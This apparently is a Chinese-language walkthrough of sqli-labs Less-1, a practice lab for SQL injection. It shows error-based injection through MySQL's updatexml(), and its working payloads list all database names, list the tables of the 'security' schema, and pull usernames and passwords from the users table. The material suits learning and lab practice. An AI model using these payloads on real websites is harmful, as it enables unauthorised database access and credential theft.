天天看點

sqli-labs less-1(報錯注入之updatexml)

 less-1(報錯注入之updatexml)

1.updatexml()函數

sqli-labs less-1(報錯注入之updatexml)

XML_document用法

把名為1.xml文檔的s更新成S

Updatexml(‘1.xml’,S,s)

2.爆破所有庫名

資料庫所有庫名

sqli-labs less-1(報錯注入之updatexml)

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)),1) -- -#字母限制僅能顯示31個

sqli-labs less-1(報錯注入之updatexml)

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)),1) -- -

sqli-labs less-1(報錯注入之updatexml)

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)),1) -- -

sqli-labs less-1(報錯注入之updatexml)

3.爆破security的表名

Security的所有表名

sqli-labs less-1(報錯注入之updatexml)

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1)-- -

sqli-labs less-1(報錯注入之updatexml)

4.檢視users表的第三行資料

sqli-labs less-1(報錯注入之updatexml)

?id=1' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users limit 2,1)),1) -- -

?id=1' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users where id=3)),1) -- -

sqli-labs less-1(報錯注入之updatexml)